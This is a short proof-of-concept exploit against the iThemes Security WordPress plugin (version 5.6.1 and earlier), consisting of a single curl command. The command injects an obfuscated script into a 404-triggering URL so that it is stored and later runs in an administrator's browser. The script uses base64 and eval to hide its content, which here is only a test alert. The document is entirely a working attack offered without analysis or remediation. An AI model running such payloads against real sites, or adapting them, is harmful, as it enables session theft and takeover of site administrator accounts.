iThemes Security <= 5.6.1 - Unauthenticated Stored Cross-Site Scripting (XSS)

curl "http://ithemesprotected.target/index.php/2016/09/22/trigger-404/?<script>x=String(/YWxlcnQoInRlc3QiKQ==/);x=x.substring(1,x.length-1);eval(atob(x));</script>" -H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Cookie: wordpress_test_cookie=WP+Cookie+check' -H 'Connection: keep-alive' -H 'Referer: http://ithemesprotected.target/wp-login.php?da=777&bu=777' - compressed